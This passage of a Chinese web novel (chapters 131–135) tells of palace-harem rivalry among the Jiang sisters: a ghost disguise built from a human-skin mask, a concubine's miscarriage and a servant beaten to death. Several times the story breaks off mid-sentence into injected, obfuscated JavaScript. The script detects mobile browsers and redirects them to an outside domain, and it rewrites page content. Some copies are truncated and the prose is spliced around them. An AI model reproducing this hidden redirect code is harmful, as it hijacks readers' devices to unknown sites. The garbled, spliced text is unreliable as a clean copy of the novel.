“三妹,有些真相我不妨直言。”姜姝宁脸色阴沉,眼底翻涌着浓烈的恨意,“你二哥究竟死于何人之手,我至今未明;但我大哥,相府嫡长子,却死于姜瑶真的阴谋算计!她如今如愿以偿,成了三皇子妃,也该为她犯下的罪孽付出代价!” “大姐姐……想让莲儿做什么?”姜莲声音微颤问道。 姜姝宁微微倾身,附在她耳边低语了几句。 姜莲听罢,轻轻点了点头,神色坚定:“大姐姐放心,我定会按你的吩咐去做。” 她如今不过是三皇子的妾室,位分远不及姜瑶真这个正妃。 ,以姜瑶真的性子,日后定会百般磋磨她。 与其坐以待毙,不如与姜姝宁联手,让萧修湛对姜瑶真生出厌恶,也好让她在麟阁宫中过得舒心些。 姜姝宁见状,满意地点了点头:“事成之后,我自不会亏待你。二叔二婶那边你也无须忧心,我会让凌芜时常接济他们。” “多谢大姐姐。”姜莲顿了顿,又小心翼翼地问道,“大姐姐不怪我当初为了攀高枝,勾引四皇子殿下吗?” 姜姝宁闻言,脸色微冷,语气却平静:“从前我不喜你勾引四皇子,一来是你故意装扮成我的模样,让我心中膈应;二来,你身为姜家之女,在他面前做出那等行径,实在有损我们姜家的颜面。” 说到此处,姜姝宁住了口。 她虽不知姜莲是如何成为三皇子妾室的,但听姜瑶真前几日归宁时哭诉的内容,想来手段也并不光明磊落。 姜莲却并不在意这些,她提起桌上的竹篮,小心整理好里面的东西,抬头对姜姝宁郑重承诺:“大姐姐,你就等着我的好消息吧!” 第131章 惊现“亡魂” 第一百三十一章惊现“亡魂” 姜莲刚回到麟阁宫,手中提着大包小包尚未放下,姜瑶真便带着春花和宋嬷嬷径直闯入她的房中。 见她满载而归,姜瑶真的脸上闪过一抹阴狠之色,目光如刀般刺向姜莲。 姜莲一怔,脱口而出:“二姐姐,您怎么来了?” 话音未落,宋嬷嬷已大步上前,“啪”地一声,狠狠扇了她一个耳光,呵斥道:“没规矩!见到王妃娘娘竟不行礼,平日里是怎么教你的!” 姜莲只觉左脸火辣辣地疼,刺痛钻心。 她“噗通”一声跪在姜瑶真面前,声音颤抖:“妾身见过王妃娘娘!” 姜瑶真居高临下地睨着她,语气冰冷刺骨:“怎么,回了一趟娘家,就忘了自己的身份?姜莲,记住,我是妻你是妾,只要有我在,你就永远只能低我一等!” 她身为正妃才有资格回娘家省亲,姜莲不过是个小小的贵妾,算什么东西? 竟也敢向萧修湛讨要回家的机会! 若不好好教训她一番,日后指不定会蹬鼻子上脸,爬到她头上作威作福! 姜莲垂首,面上是一副低眉顺眼的模样,心中却恨意如潮涌动:若你不在该多好! 姜瑶真似乎觉得一巴掌尚不足以泄愤,目光扫过她从宫外带回的大包小包,立即吩咐春花和宋嬷嬷:“把她的东西,通通给我砸了!” 姜莲大惊失色,连忙苦苦哀求:“王妃娘娘,这些都是妾身父母特意准备的物件,求娘娘开恩,别毁了它们,求您了!” 说着,她拼命磕头,额头很快红肿一片。 “哦?是你父母准备的?”姜瑶真冷笑一声,眼中恶意更盛,“那我更要砸个干净!也不知你那心术不正的爹娘,怎生出你这贱蹄子!来人,给我砸!” 房外守门的侍卫实在看不下去,硬着头皮在门口行礼,低声道:“王妃娘娘,殿下最不喜后院喧闹,若您执意砸姜贵妾的东西,恐会惹殿下不悦。还请娘娘手下留情吧!” 姜瑶真冷冷瞥了他一眼,语气尖刻:“你算什么东西,也敢对我指手画脚?我身为正妻,教训一个妾室又有何错?别说砸她的东西,就是取她性命,我也名正言顺!你们还愣着做什么,快砸!” 最后一句是对春花和宋嬷嬷说的。 很快,两人便动手,将姜莲带回来的物件砸得稀烂,其中还有一罐珍贵的云山茶,白瓷茶罐碎了一地,茶香弥漫,令人惋惜。 姜莲不敢阻拦,只能跪在地上低声啜泣,眼睁睁看着心爱之物被毁。 姜瑶真临走前,还故意用脚碾了碾地上那堪称京城一绝的云山茶,嘴角勾起一抹讥讽的笑。 满地狼藉,姜莲一边收拾散落的物件,一边低声啜泣,泪水止不住地滑落。 方才替她说话的侍卫见状,心中不忍,蹲下身来帮她一起收拾。 姜莲捡起地上散落的茶叶,声音哽咽:“这本是我特意为殿下带来的云山茶,珍贵无比,如今却被糟蹋成这般模样!” “这些茶叶若是清理干净,应当还能饮用,只是卖相差了些。”侍卫安慰道。 “殿下尝过无数名茶,怎会瞧得上这残破不堪的茶?罢了,扔了便是。”姜莲叹了口气,眼底尽是失落。 “属下听说云山茶价值不菲,姜贵妾定是花了不少银两购得,扔了未免可惜。”侍卫犹豫了一下,接着道,“不瞒您说,属下平日也爱品茶,若姜贵妾不介意,不如将此茶低价卖给属下,也好让您收回些银钱。” 他方才帮忙收拾时,满屋茶香扑鼻,早已心动不已,只是不好直言。 “大人若不嫌弃,这些茶叶便都送给你吧。”姜莲拭去眼角泪痕,声音低柔,“银钱就不必了,只是我有一桩不情之请,不知大人可否相助?” “姜贵妾请说。”侍卫忙道。 “我有一兄长,不久前不幸亡故。他的身形与大人颇为相似,大人能否换上他的衣物,让我睹物思人,聊慰哀思?” “这……”侍卫面上闪过一丝为难。 “若大人不愿,便当我未曾开口。”姜莲说着,又低下头轻拭泪水,模样楚楚可怜。 “姜贵妾误会了,属下并非不愿,只是担心被人瞧见,恐生误会。毕竟您是殿下的妾室。” “大人顾虑得是,不如我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675952|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们移步后花园?那里僻静隐秘,应当无人察觉。”姜莲轻声道,眼神中带着一丝期盼。 侍卫看着她梨花带雨的娇弱模样,又瞥了眼地上郁香四溢的茶叶,犹豫片刻,终究点了头。 夜幕低垂,麟阁宫的后花园笼罩在一片幽静之中。 侍卫换上一身锦袍,转身问姜莲:“如此可还像?” 姜莲泪光盈睫,声音低颤:“单看身形,果真与我二哥有几分相似,只是……” 她自袖中取出一张做工精巧的人皮面具,递到侍卫手中,柔声道:“若戴上这个,定与我二哥一般无二!” 侍卫见她眼底哀伤,不忍拂她心意,便接过面具戴上。 片刻后,一个既像姜天赐又似姜天恩的男子赫然出现在姜莲面前。 她唇角悄然勾起一抹阴冷的笑意。 大姐姐曾言,大哥之死是姜瑶真一手所为,若她今夜见到这“亡魂”,不知会是何等反应? 姜瑶真每晚用过晚膳,总会到后花园散步,嘴上说是消食,实则为驱散胸中郁气。 自嫁入麟阁宫,成为三皇子妃,她便未有过一日舒心。 夫君对她冷淡无情,宫人阳奉阴违,甚至连那些妾室也敢不将她放在眼里,见面不行礼不说,还时常冷言讥讽她是个不受宠的正妃。 近日,她趁萧修湛忙于朝务,无暇顾及后院,雷霆手段整治了几名带头挑衅的妾室,才稍稍出了心中那口恶气。 她一边缓步而行,一边与春花和宋嬷嬷低声商议着接下来整治妾室的法子,忽听后花园假山后传来细微响动。 “谁在那里?”姜瑶真猛地停步,厉声喝问,眉目间尽是警惕。 姜莲闻声,故意朝假山后的树丛退了几步,藏起身形。 侍卫因人皮面具遮挡视线,本就看不清路,又被这声呵斥惊得心慌,匆忙想躲,却不料走错了方向,竟直直暴露在姜瑶真一行人的视线之中。 月光清冷,映照下,那脸色惨白、形似“姜天恩”的身影陡然出现在眼前。 姜瑶真吓得花容失色,尖叫出声:“大哥……真儿知错了,求你饶了真儿吧!” 第132章 诈病,引蛇出洞 第一百三十二章诈病,引蛇出洞 尽管姜瑶真苦苦哀求,那形似姜天恩的“亡魂”却丝毫不为所动,步履僵硬地朝她逼近。 她吓得魂飞魄散,尖叫着拔腿就跑,边跑边哭喊:“大哥,你别过来,别过来啊!” “杀了你的人不是我,是三皇子殿下!冤有头债有主,你去找三皇子殿下啊!” 春花和宋嬷嬷被她这失魂落魄的模样吓得不轻,来不及细想,只顾追在她身后呼唤:“王妃娘娘,王妃娘娘!” 侍卫好不容易摘下人皮面具,长舒了一口气,四下张望无人,疑惑道:“方才大声叫嚷的是何人?” 姜莲这才从树丛中探出头,低声对侍卫道:“大人,看来我们方才把皇子妃吓到了。你速速回去,莫要被人发现!今夜之事,切记守口如瓶!” 侍卫连忙点头:“好,属下绝不会泄露半句!” 说完,他将面具递还给姜莲,随即快步离去。 姜莲接过那张酷似姜天恩的面具,原本打算用火折子将其点燃烧毁,可转念一想,唇角勾起一抹意味深长的笑意,最终还是将其小心藏于假山一处隐秘的角落,随后才不紧不慢地朝自己住处走去。 此时,萧修湛刚踏回麟阁宫,尚未走进前殿,便听见姜瑶真惊恐的哭喊声:“大哥,我真不知三皇子会因此害你性命……要怪就怪三皇子心狠手辣,与我无干啊……” 萧修湛见她口无遮拦,脸色骤沉,大步上前,抬手狠狠扇了她一耳光:“大晚上的,你在发什么疯!” 姜瑶真见到萧修湛,哭得更加撕心裂肺,扑上前抓住他的衣袖:“殿下,你总算回来了,方才我见到了大哥的亡魂……” “住口!”萧修湛冷声打断,眼中尽是不耐,“哪来的亡魂?来人,皇子妃神志不清,把她给我带下去,关在房中禁足一月,不许她踏出半步!” 几名侍卫上前,齐声应道:“是,殿下!” 姜瑶真被侍卫们架着,双腿发软,几乎是拖着走回寝殿的。 她满脸泪痕,嘴里还断断续续地嘟囔着:“大哥,我不是故意的……你别来找我……” 那声音透着几分恐惧,听得人头皮发麻。 就连春花和宋嬷嬷都怀疑方才在后花园真的见了鬼。 可皇子妃为何要害怕自己的大哥? 难道,真的是她害**姜天恩? 萧修湛站在殿前,脸色阴沉得能滴出水来。 他冷眼看着姜瑶真被带进房内,门“砰”地一声关上,隔绝了她那令人烦躁的哭声。 随即,萧修湛转头看向一旁的春花和宋嬷嬷,眼神冷厉如刀:“到底发生了何事?为何皇子妃会突然变得这般疯疯癫癫?” 宋嬷嬷战战兢兢,低头颤声道:“回殿下,方才老奴也没看真切,只隐约瞧见后花园似有人影晃动,皇子妃便是被那影子吓成这般模样……” “人影?什么人影!”萧修湛眉心紧蹙,猛地转向一旁侍卫,语气森寒,“速去查清楚!” “是!”侍卫头领正欲带人前往后花园,却被萧修湛骤然喝止。 他冷眸一眯,声音如冰霜刺骨:“今晚之事,若有半句传扬出去,本殿下要了你们的脑袋!” “是,殿下!”侍卫头领心头一凛,忙不迭低头应下。 萧修湛这才拂袖离去,背影如寒风过境,透着一股难以抑制的戾气,显然心情已恶劣至极。 他自是不信鬼神之说,更不惧什么亡魂作祟,可姜瑶真这副失魂落魄的疯癫模样,简直是在丢尽他的脸面! 若非碍于她父亲是当朝丞相,手握清流一派的支持,他当真想一脚将这女人踢出麟阁宫! 姜莲听闻姜瑶真被禁足的消息,唇角微微上扬,眼中闪过一抹得逞的冷笑。 原来大姐姐所言不虚,确实是姜瑶真害**大哥姜天恩。 那可是她的亲哥哥啊,姜瑶真的心肠未免也太毒辣了! 要是她能被吓疯就好了。 往后,这麟阁宫里,再也无人能整日作威作福,骑在她头上了! 姜瑶真被禁足在寝殿之中,春花和宋嬷嬷急得如热锅上的蚂蚁。 “王妃娘娘,您可别吓老奴啊!你若在这宫里出了什么事,老奴如何向夫人交代?”宋嬷嬷声音里满是担忧,几乎要落下泪来。 “是啊,王妃娘娘,这世上哪有什么亡魂?肯定是您看错了!”春花也在一旁说道。 姜瑶真被关了几日,情绪渐渐平复下来,心中却生出一丝疑虑。 若这世上真有鬼怪,为何偏偏在她成为皇子妃后才现身? 莫非,这一切竟是有人故意为之? 到底是谁如此胆大包天,竟敢假扮她死去的兄长来恐吓她? 姜瑶真越想越觉得不对劲,眉头紧锁,眼神中闪过一抹冷光。 不行,她不能坐以待毙,定要将幕后指使之人引出来! 否则,往后还不知会被此人如何算计! 她让春花和宋嬷嬷将她因为害怕而病倒了的消息送了出去。 姜莲得知此消息后,心中蠢蠢欲动。 才戴个面具装成姜天恩的模样,就把姜瑶真吓成这样,若是再乘胜追击,岂不是能一举将她吓疯? 相府内,凌芜抓着一只信鸽,兴冲冲地跑到姜姝宁面前:“大小姐,三小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜瑶真瞳孔猛地一缩,惊恐尖叫出声。 见她如此害怕,姜莲故意压低嗓音,阴恻恻地开口:“真儿,大哥死得好惨啊……” “姜莲,果然是你!”姜瑶真猛地掀开被褥,整个人如鲤鱼打挺般从床榻上弹起,气势凌厉地冲着门口大喝,“还不快进来,将这**给我拿下!” 话音刚落,春花和宋嬷嬷便如风一般冲进殿中,眼神凌厉地直逼姜莲。 姜莲这才意识到大事不妙。 姜瑶真竟然装病! 第133章 不慎小产 第一百三十三章不慎小产 “宋嬷嬷,把她给我摁住!春花,快去叫殿下来!”姜瑶真神色阴狠,宛若地狱夜叉,目光中透着刺骨的寒意,“让他亲眼瞧瞧,究竟是谁在这麟阁宫里装神弄鬼!” 姜莲心头一惊,拼尽全力挣脱宋嬷嬷的钳制,扯下人皮面具,不顾一切地冲向烛台。 姜瑶真瞬间察觉她的意图,厉声喝道:“快,拦住她!她想烧毁那张面具!” 宋嬷嬷连忙扑上前,死死扯住姜莲,却不料用力过猛,竟将她整个人撞向烛台旁的木桌。 “砰”的一声,姜莲小腹传来一阵撕心裂肺的剧痛,她下意识捂住腹部,痛苦地呻吟出声。 姜瑶真大步上前,一把夺过她手中的人皮面具,顺势狠狠踢了她一脚,冷笑道:“想毁尸灭迹?做梦!” 宋嬷嬷却突然脸色大变,颤声对姜瑶真禀告:“王妃娘娘,不好了……姜贵妾怕是……小产了!” 只见姜莲的裙摆已被鲜血染红,血迹洇湿了地面,透着一股不祥气息。 姜莲年纪尚小,浑然未觉自己已怀有身孕,听到宋嬷嬷这话,心底那股母性本能骤然被唤醒。 她捂着小腹,泪流满面地哀求:“王妃娘娘,求您……饶过妾身吧!妾身知错了……” 宋嬷嬷急忙劝道:“王妃娘娘,即刻唤御医来,或许可保住姜贵妾腹中的孩子!” “保住她的孩子做什么?”姜瑶真冷笑出声,眼中没有半分怜悯,“一个贱妾罢了,有何资格抢在我这正妃之前生下孩子?不许叫御医,就这样让她把这孩子流掉!” 宋嬷嬷大惊失色,忙道:“王妃娘娘,万万不可!这可是殿下的骨肉!谋害皇孙,后果不堪设想啊!” “谁能证明她腹中的孩子是我谋害的?”姜瑶真目光森冷,“是她自己用人皮面具吓本妃,被我识破后想逃,不慎撞上桌子导致小产,与我何干?” 姜莲知道再这样下去,腹中的孩子必死无疑,情急之下扯开嗓子,用尽全身力气嘶喊:“来人啊,救命啊——” “快,把她的嘴给我捂住!”姜瑶真厉声喝道,眼中尽是狠戾之色。 宋嬷嬷无奈,只得硬着头皮上前,手中帕子直朝姜莲嘴边逼去。 姜莲见状,猛地拔下头上的发簪,狠狠刺向宋嬷嬷的手掌。 “啊!”宋嬷嬷吃痛,尖叫着缩回手,姜莲趁此空隙,捂住小腹传来的剧痛,踉跄着冲了出去。 姜瑶真见她逃走,气得咬牙切齿,想派人去追却已然晚了。 此时,萧修湛正带着御医朝寝殿而来,迎面便撞见衣裙染血、跌跌撞撞的姜莲。 她满脸泪痕,虚弱地朝他扑去,口中喃喃哀求:“殿下,快救救我们的孩子……” 萧修湛大惊失色,忙一把将她抱住,怒火冲天,厉声吼道:“谁干的!?” 姜莲腹中的孩子终究没能保住。 御医摇头叹息,语气中满是惋惜:“胎儿尚小,本就根基不稳,姜贵妾小腹又受重击……殿下,请节哀。” 看着床上脸色苍白如纸的姜莲,想到那尚未出世便夭折的孩子,萧修湛怒火中烧,沉声命令:“把皇子妃给我叫过来!” 正殿之中,萧修湛冷冷地盯着姜瑶真,声音低沉如冰:“莲儿腹中的孩子,是不是你害死的?” “殿下冤枉啊!是那姜贵妾忽然戴了个人皮面具来吓王妃娘娘,王妃娘娘她……”宋嬷嬷急忙开口辩解,却被萧修湛一声怒喝打断。 “谁准你开口的?来人,把这老东西给本殿下拖下去,重打二十大板!” 这一声令下,姜瑶真脸上终于闪过一丝慌乱。 她强作镇定地辩解道:“殿下,您怎能不分青红皂白就责罚人?宋嬷嬷所言不虚,是姜莲故意吓唬我,被我识破后慌忙逃窜,不慎撞到小腹,这才小产,与我何干?殿下为何要责罚我的人?” 说罢,她将一张皱巴巴的人皮面具递了过去。 萧修湛接过定睛一看,这面具虽已被揉得不成形,却依稀能辨出那是姜天恩的模样。 他眉头紧锁,沉声道:“莲儿怎会有此物?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“什么?三妹小产了?”姜姝宁眉头紧锁,“怎么会这样?不行,我要去看看她!” 凌芜提醒道:“送消息来的人说,孙神医近日正在殿下宫中,不如您顺路去请他为三小姐诊一诊?” “你说的对,孙神医医术高明,定能助三妹早日康复!”姜姝宁嘴上虽这么说,心中却仍是惴惴不安。 她隐隐觉得,此事定与姜瑶真脱不了干系。 她匆匆入宫,直奔景和宫。 果不其然,孙神医正在景和宫中,与萧凌川相对而坐,品茶闲谈。 姜姝宁径直上前,眉眼间尽是焦灼之色:“还请殿下允准孙神医随臣女前往麟阁宫,为我三妹把脉诊治,臣女感激不尽!” 说罢,她朝萧凌川深深行了一礼,姿态恭谨。 萧凌川神色微沉,语气中透着几分不悦:“谁稀罕你的感激?” 姜姝宁心头一紧,抬眼偷觑他的神色,正不知该如何应对,便听他又道:“……还不如给我做几顿饭来得实在!” 姜姝宁这才松了一口气,忙不迭应道:“待臣女回来,定亲手为殿下做好吃的!” 萧凌川眉眼间这才恢复了如常的神色,淡淡道:“去吧!” 姜姝宁与孙神医并肩走在前往麟阁宫的路上。 她忽然开口问:“孙神医,四皇子殿下的臂伤可痊愈了?” 孙神医闻言,心中暗自揣摩,猜想四皇子怕是还想借装病之名多得姜姑娘的照料,于是便扯谎道:“尚未痊愈。” 姜姝宁眉头微蹙,目光中透着几分狐疑:“这都数月过去了,殿下的胳膊竟还未好全?” 察觉到自己的医术似被质疑,孙神医面上有些挂不住,轻咳几声:“那个……姜姑娘有所不知,四皇子殿下身娇体贵,老夫不敢贸然用猛药。若是用了猛药,定能好得快些!” 姜姝宁想起前世萧凌川数次死里逃生,不知道吃了多少狼虎之药。 如今重生,反倒娇贵起来。 “孙神医,您还是给他用些猛药吧!他的身子其实没那么金贵,日日吊着胳膊像个废人似的,实在碍眼得很!”她语气里带着几分显而易见的嫌弃。 孙神医顿时瞪圆了眼睛,心中暗道:姜姑娘,这话未免也说得太直白了!若被四皇子殿下听见,怕是要气得昏过去不可! 两人匆匆赶至麟阁宫。 恰逢萧修湛也在宫中,听姜姝宁说特意带来了医师来为姜莲诊治,他并未多加阻拦让她进了姜莲的房中。 姜莲依旧昏睡不醒,面色苍白如纸,唇间没有半分血色。 伺候她的宫人低声对姜姝宁道:“姜贵妾小产后便一直未醒来,熬制的汤药与补药皆灌不进去,这才日渐虚弱。” “怎会严重至此?”姜姝宁心中一紧,忙转头看向孙神医,“孙神医,可有法子唤醒我三妹?” 孙神医上前为姜莲把脉,又嘱咐宫人取来她近几日喝过的药渣。 一番确认后,他神色凝重地对姜姝宁道:“药中被人掺了麻沸散,这才导致姜贵妾昏迷不醒。幸而来得及时,若再晚几日,恐怕就醒不来了!” 姜姝宁听得心惊肉跳:“究竟是何人如此狠毒,竟在她的药膳中下麻沸散?” 伺候姜莲的宫人吓得面色发白,忙跪下辩解:“这些药都是御药房煎好送来的,奴婢从未动过手脚!” “你先莫慌,此事需得禀明三皇子殿下,让他细细彻查。眼下最要紧的,是尽快让姜贵妾醒过来。”姜姝宁强压下心中不安,转头看向孙神医,“孙神医,可有法子?” “法子倒是不难,只是需费些功夫。”孙神医捻须思索片刻,缓缓道,“此事还需征得三皇子的意见,方可施为。” 姜姝宁不敢耽搁,连忙去找萧修湛,将此事禀明,询问他的意见。 “若真有法子让莲儿早日醒来,本皇子自然应允。”萧修湛神色阴沉如水,“我要她亲口告诉我,究竟是谁害她小产!” 姜姝宁心中明了,暗中在药膳中掺麻沸散之人,多半便是导致姜莲小产的幕后真凶。 否则,又怎会如此惧怕姜莲醒来吐露真相? 得了萧修湛的允许,孙神医迅速取来银针,开始为姜莲施针 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15688758|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 另一边,姜瑶真得知姜姝宁特意前来探望姜莲,还带来了一个医师,心中顿感不妙。 她急匆匆赶到正殿,远远便瞧见姜姝宁与萧修湛相对而坐,正神色自若地品着茶。 这一幕刺得她心头妒火熊熊,脸色霎时阴沉下来。 姜姝宁瞥见她走来,起身微微一福:“见过三皇子妃。” 姜瑶真见她礼数周全,不好当场发作,只得冷笑一声,阴阳怪气道:“听说姐姐特意前来探望三妹?说起来,你我才是亲姐妹,姐姐怎的一来便先去看堂妹,也不先来见见自家妹妹?” 姜姝宁神色浅淡:“姜贵妾小产在身,卧病在床,我心中忧虑,故而先来探望。若下次皇子妃不幸小产,我自当也第一时间前来探望。” “你……”姜瑶真气得咬紧牙关,声音不由拔高了几分,怒道,“你这是在咒我?” “不敢,我不过是实话实说罢了。”姜姝宁微微垂眸,语气依旧平静如水。 姜瑶真不依不饶,还想继续追究,旁边的萧修湛却沉下了脸,声音冷厉如冰:“够了,皇子妃,你姐姐好不容易来一趟麟阁宫,你莫要尽做些令人笑话的蠢事!” 听到这话,姜瑶真心中怒火更盛。 她猛地将矛头转向萧修湛,语气尖锐,带着几分不加掩饰的嘲讽:“‘好不容易来一趟麟阁宫’,殿下这话说的,分明是日日盼着姐姐来此与您相见啊!殿下当初轻易纳了三妹为妾,难道不是因为她与姐姐有几分相似?如今姐姐一到,您便亲自陪她品茶,连我这正妃都不曾知会一声,殿下对她还真是‘重视’得紧呢!” “你……”萧修湛被她一语戳中心思,顿时有些恼羞成怒,“再敢胡言乱语,本皇子便将你禁足!” “就算殿下今日要禁足我,有些话我也非得当面问个清楚不可!”姜瑶真目光如刀般转向姜姝宁,语气冰冷刺骨,“三妹不过回了一趟娘家,便带回一张人皮面具。我问你,这面具可是你给她的?” 面对她咄咄逼人的质问,姜姝宁神色依旧毫无波澜,她缓缓开口道:“是,这面具的确是我给她的。” 第135章 虽胜犹败 第一百三十五章虽胜犹败 “殿下,您听到了吗?”姜瑶真像是抓住了把柄,声音陡然拔高,“就是她授意姜贵妾戴上那张神似我大哥的面具,在后花园故意吓唬我的!后来,又指使姜贵妾借着探病的由头,特意到我寝殿里来恐吓我!若非我装病应对,此刻怕是早就被活活吓**!” 萧修湛脸色愈发阴沉,目光冷冷刺向姜姝宁:“姜姑娘,你这是何意?” “殿下,您误会了。”姜姝宁神色淡然,“那人皮面具并非照着我大哥姜天恩的模样所制,而是仿的二哥姜天赐。听闻三妹近来思念兄长,我便特意让人做了二哥模样的面具给她,让她带进宫中以解思念之情。是我思虑不周,未曾料到竟会牵连出诸多事端,望殿下恕罪。” “殿下,您千万别信她的巧言令色!”姜瑶真急声反驳,“那张人皮面具,分明就是照着我大哥的模样做的!她就是故意让姜贵妾来吓唬我!” 姜姝宁唇角勾起一抹意味深长的笑意,目光直直看向姜瑶真:“大哥与二哥本就相貌相似。就算我给三妹的是大哥模样的人皮面具,又如何?三皇子妃为何会被一张面具吓成这般模样?莫非……是你害**大哥,心中有鬼,才如此惊恐不安?” 最后一句话,如惊雷般炸响,姜瑶真瞬间面色煞白,慌乱地辩解道:“你、你胡说!” 姜姝宁微微侧身,转而朝萧修湛恭敬一礼:“殿下自有明断。” 萧修湛神色阴郁,目光在两人之间游移。 即便真是眼花,瞧见已故亲人的“亡魂”,也不至于吓得如此失态。 除非……姜瑶真心中有愧于她的大哥姜天恩。 萧修湛目光骤然冷厉,如寒冰般刺向她:“当初,真的是你大哥命你深夜送酒到我营帐中的?” 姜瑶真面色一僵:“殿下,您莫要听姐姐胡言乱语,我……我……” 就在此时,一名宫人匆匆来报,声音中带着几分急切:“殿下,姜贵妾醒了!” 此言一出,姜瑶真脸色变得愈发惨白,眼中闪过一抹难以掩饰的惊恐。 醒了?她竟真的醒了? 自己费尽心机,命人偷偷在药膳中掺入过量的麻沸散,只为让姜莲再无苏醒之日,如今竟如此轻易被破了局? 这下……她该如何是好? 萧修湛与姜姝宁未再理会姜瑶真,径直快步朝姜莲的房中赶去。 姜莲虚弱地半倚在床榻边,眼眸微睁,面色苍白如雪。 见到萧修湛进来,她眼眶一红,泪水如断线珠子般滚落,哽咽着哀声道:“殿下,我们的孩子……没了……” 萧修湛上前温声安慰道:“你还年轻,往后我们还会有孩子的。别哭,告诉我,究竟是谁害你小产?” “是王妃娘娘!”姜莲咬紧牙关,眼中燃起浓烈的恨意,“她命宋嬷嬷抓住我,推我狠狠撞上桌角……当时若立刻宣御医,孩子或许还能保住,可她却冷眼旁观,命宋嬷嬷置之不理,硬是让我流掉了孩子……” 萧修湛怒火中烧,咬牙切齿道:“这个毒妇!我绝不饶她!来人,即刻将她拿下问罪!” 说完,他霍然起身,带着一身煞气大步离去。 孙神医见状,也对姜姝宁拱手告辞:“姜姑娘,老夫先行告退。” “孙神医慢走,今日多亏了你!”姜姝宁感激道,起身朝他行了个礼。 “不过举手之劳罢了,姜姑娘不必挂怀。”孙神医说着,起身离开。 房中只剩下姜姝宁与姜莲两人。 姜姝宁轻轻握住姜莲冰凉的手,柔声安慰道:“我已嘱咐孙神医为你开最好的药方调理身体,你只需安心休养,莫要过于忧思,身子定能慢慢好起来。” “多谢大姐姐。”姜莲泪光盈睫,声音中带着几分哽咽,“是我不争气,没听你的劝告。那日我用那人皮面具吓唬皇子妃,殿下本已对她厌恶至极,我却贪心不足,妄想直接将她吓疯……谁知,竟连累腹中孩儿,赔上了他的性命……” 她泪如雨下,悔恨之情溢于言表。 姜姝宁心中一阵愧疚。 “说到底,你是为帮我做事才落得如此境地,三妹,是大姐姐对不住你。” “大姐姐若真觉愧疚,便帮莲儿照料好我父母吧。”姜莲眼睫低垂,泪珠滑落,“莲儿此生,怕是再无机会在他们膝下尽孝了。” “好,我答应你。”姜姝宁郑重应下,随即又叮嘱道,“你也要答应我,好好珍重自己,莫再与皇子妃硬碰硬,明白吗?” 姜莲微微颔首,苍白的脸上浮现一抹难以察觉的得意,低声道:“放心吧,大姐姐,她害得殿下失去了第一个骨肉,殿下绝不会轻易饶了她!” 姜姝宁离开姜莲的房中时,恰好听见宋嬷嬷已被活活杖毙的消息。 据 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15688759|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,宋嬷嬷一人将所有罪责尽数揽下,无论是推搡姜莲致其小产,还是故意拖延不宣御医,甚至在姜莲的药膳中暗自掺入麻沸散,她都咬牙尽数认下。 姜姝宁蓦然想起,前世宋嬷嬷亦因姜瑶真整治萧修湛一宠妾而被牵连,最终落得杖毙的下场。 即便重来一世,有些人的命运依旧跟前世相差无几。 想要扭转命运的走向,远非她想象中那般简单。 另一边,姜瑶真百口莫辩,始终高喊冤枉,却仍被萧修湛罚在殿前跪足三个时辰。 殿前每日宫人往来不绝,此番惩处,着实令她颜面尽失。 她跪在地上,面上满是幽怨与不甘,眼神阴郁如水。 看她受罚,姜姝宁却无半分欣慰之情。 不过是丢了些脸面,跪了些时辰罢了,可姜莲腹中的孩儿,却是再也回不来了。 在这场争斗中,姜莲虽胜犹败。 姜姝宁独自走在宫道上,心绪紊乱。 忽然,眼前的路被一道颀长挺拔的身影挡住。 她微微抬眸,一张俊美得格外张扬脸庞映入眼帘。 见到来人,姜姝宁心头百感交集。 方才见到姜莲失去孩子时的痛苦,她心中竟生出几分莫名庆幸。 前世萧凌川是给她吃避子药,而不是等她怀上了孩子才将那个生命从她体内强行剥离。 否则,她的痛苦,怕是比无法生育还要刻骨铭心万倍。 